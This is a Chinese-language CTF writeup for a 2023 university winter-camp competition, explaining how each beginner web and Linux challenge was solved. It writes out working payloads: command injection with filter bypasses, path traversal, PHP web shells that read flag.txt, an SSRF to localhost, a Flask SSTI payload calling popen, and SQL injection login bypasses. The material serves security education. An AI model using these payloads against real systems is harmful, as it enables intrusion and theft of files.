2023中興大學中部電資寒訓 CTF Writeup 搶旗大賽題目詳解#
URL : http://ctf.scaict.org
說明#
解法不一定是最好的如果有其他解法只要拿的到 flag 就是好解法我在去年寒訓就有幾題是直接在github偷的
順便給一下這次我出的題目的 repo https://github.com/SCAICT/NCHUwintercamp_CTF [name=張皓晴]
Welcome#
歡迎來到興大寒訓CTF#
期望解是 cat hi 但用 vs code 開也行
Web Security 課內#
free flag#
有些人把驗證程式或機密資訊放在前端(使用者電腦),造成資訊洩漏。
按 F12->元素可看 HTML 內容,其中 script 標籤有放 Javascript 程式,裡面有 flag
302 Relocation#

-I 表示只看 Response header,不看 HTML
curl -I http://ctf.scaict.org:8301/302-flagchange cookie#
題目說「只有 admin 能看 flag」,伺服器怎麼知道我們不是 admin?

Logic flaw number#
擁有超過 100 元的人才能看 flag,我們有 10 元,花 10 元買飲料看看

'''
amount 餘額
price 飲料價格
count 飲料數量
'''
if amount >= price * count:
amount -= price * count如果沒驗證 number>=0,可直接輸入負數,amount 減負數相當於加正數
因此輸入 -100 試試看,剛好可以拿到 flag
這就是程式的邏輯漏洞 現實世界沒有 -1 瓶飲料
Broken Role#
題目只給 admin 看 flag,但改 cookie 沒用(cookie 屬於別的題目,session 無法改)。
role=1,這是否有些用處?
改成 role=admin 沒用。
這時就要想:為何開發者寫 role=1?
一個思路是:1 代表使用者的 id,如果改成 0 會如何?
Change email#
這個頁面被保護得很好,無法以 @admin.scaict.com 的 email 登入


令人想到特洛伊木馬 本題簡化自 Portswigger Lab: Inconsistent security controls
Cmdi#
他叫我們輸入 ip,我們隨便輸入 ip,或者說打 google.com 看看。

可以推測,伺服器用 ping 指令確定 ip 連線狀態。
輸入 google.com 伺服器執行 ping google.com。
輸入 ctf.scaict.org 伺服器執行 ping ctf.scaict.org。
而輸入 ; ls,伺服器沒檢查,就會執行 ping; ls,輸出 ls 結果(後面 Dockerfile 等)。
;cat flag.txt 看有沒有 flag。
Path traversal#
題序說 flag 在上層目錄的 flag.txt。
../flag.txt 就有 flag。
File Upload#
本題為求聚焦,不會像簡報以 GET 參數傳指令,而是把指令寫死在後門。 因此,用一指令就要重新修改並上傳後門。
傳個 php 程式(副檔名為 .php),此 File-based 伺服器將自動執行 php。
建立 php 檔案方法請自行 google
<?php system('ls')?>


ls,只出現當前目錄下 exploit.php。
往上層目錄看看,發現 flag.txt。
<?php system('ls ../..')?>

<?php system('cat ../../flag.txt')?>
SSRF#
flag 在 ssrf_target 頁面,但我們看不到它。
ssrf 頁面有輸入 url 的地方,它幫我們訪問 url 並回傳結果,輸入 google.com 看看。
127.0.0.1:8301/ssrf_target。

Web#
Cmdi Pro max#
本題刪掉所有空格與分號,並檢查有沒有 cat, flag.txt 字串。
建議先上網查資料
cat 被禁掉還有 head, more 等指令可用。
flag.txt 可改成 fla''g.txt,或 fla* 表示 fla 開頭所有檔案。
空格可用 tab, ${IFS} 代替,最後分號改成 ||。
||head${IFS}fla''g.txtis 需改成 are,英文好爛
烏龜查詢系統#
http://ctf.scaict.org/challenges#%E7%83%8F%E9%BE%9C%E6%9F%A5%E8%A9%A2%E7%B3%BB%E7%B5%B1-18
- 看 cookie 變化慢慢試 flag 在 17
這題是我
抄致敬 picoCTF 的題目 picoCTF 把 falg 藏在18 我因為烏龜太多很想放所以也把 flag 放很後面看到蠻多人到一半就放棄了很可惜 這我的鍋
never gonna give you up#
http://ctf.scaict.org/challenges#never%20gonna%20give%20you%20up-19
`curl http://ctf.scaict.org:8401/`
這題看到不少人在 youtube 上找 flag 但其實基本沒人能把 flag 藏在 yt 裡
Advanced path traversal#
題目將刪掉所有 ../,避免訪問上層目錄。
參數改成 filename=....//flag.txt,中間 ../ 被刪掉剩 filename=../flag.txt。
SSTI#
SSTI 需稍微學過 Flask 才好理解。
總之,伺服器用 Python 執行 {{}} 內的字串(只有一行),顯示在網頁,以下 payload 能執行 ls 並回傳結果。
{{().__class__.__base__.__subclasses__()[140].__init__.__globals__["popen"]('ls').read()}}改成 cat flag.txt 就有 flag。
{{().__class__.__base__.__subclasses__()[140].__init__.__globals__["popen"]('cat flag.txt').read()}}靶機程式:
@app.route('/', methods=['GET', 'POST'])
def index():
if 'name' in request.form:
print('<h1>Hello '+request.form['name'] + '</h1>')
return render_template_string('<h1>Hello '+request.form['name'] + '</h1>')
return render_template('index.html')むむむむむむ#
http://ctf.scaict.org/challenges#%E3%82%80%E3%82%80%E3%82%80%E3%82%80%E3%82%80%E3%82%80-21
下面的那些文字其實是一種名為COW的冷門程式語言丟到 https://tio.run/#cow 執行

這題其實是因為本來有團康活動有講到 cow 這語言如果在這題被卡很久就抱歉啦
很有趣的 CTF#
http://ctf.scaict.org/challenges#%E5%BE%88%E6%9C%89%E8%B6%A3%E7%9A%84%20CTF-22
第二個慢慢點開或直接下載或按遞迴展開

很有趣吧
水題#
http://ctf.scaict.org/challenges#%E6%B0%B4%E9%A1%8C-23
刪掉前面的圖或找 css 或到來源看會有背景圖片點進去

Linux 基礎#
please find me !#
用文字編輯器開 ctrl + f nchu or grep nchu
別再cd了#
grep or ctrl+f or unzip 輸出的那串 cat 出來
Kali#
隱藏檔案#
使用binwalk加上-e參數把隱藏的zip檔案解壓縮出來 進去隱藏資料夾後會發現資料夾最底層還有一張圖片 再使用binwalk分析一次 會發現又出現了隱藏資料夾 一直分析隱藏資料夾裡面的文件直到出現flag.txt
OTHER#
字音字形#
字音字形自己去查教育部辭典簡編本(那些都是工作人員的名子)
SQL Injection#
解法1 : 因知道資料庫內有位使用者叫"admin",所以我們直接在帳號欄輸入admin,後面加個單引號和括號結束這段字串,後面的’ –‘是資料庫註解語法(後面的東西資料庫都不會讀取) 密碼區隨便打
解法2 : 在不知道資料庫有哪筆使用者資料的情況下,在後面新增恆正的條件式,這樣一來即使前面輸入的帳號是錯誤的還是會被視為正確執行,後面的’ –‘是資料庫註解語法(後面的東西資料庫都不會讀取) 密碼區隨便打


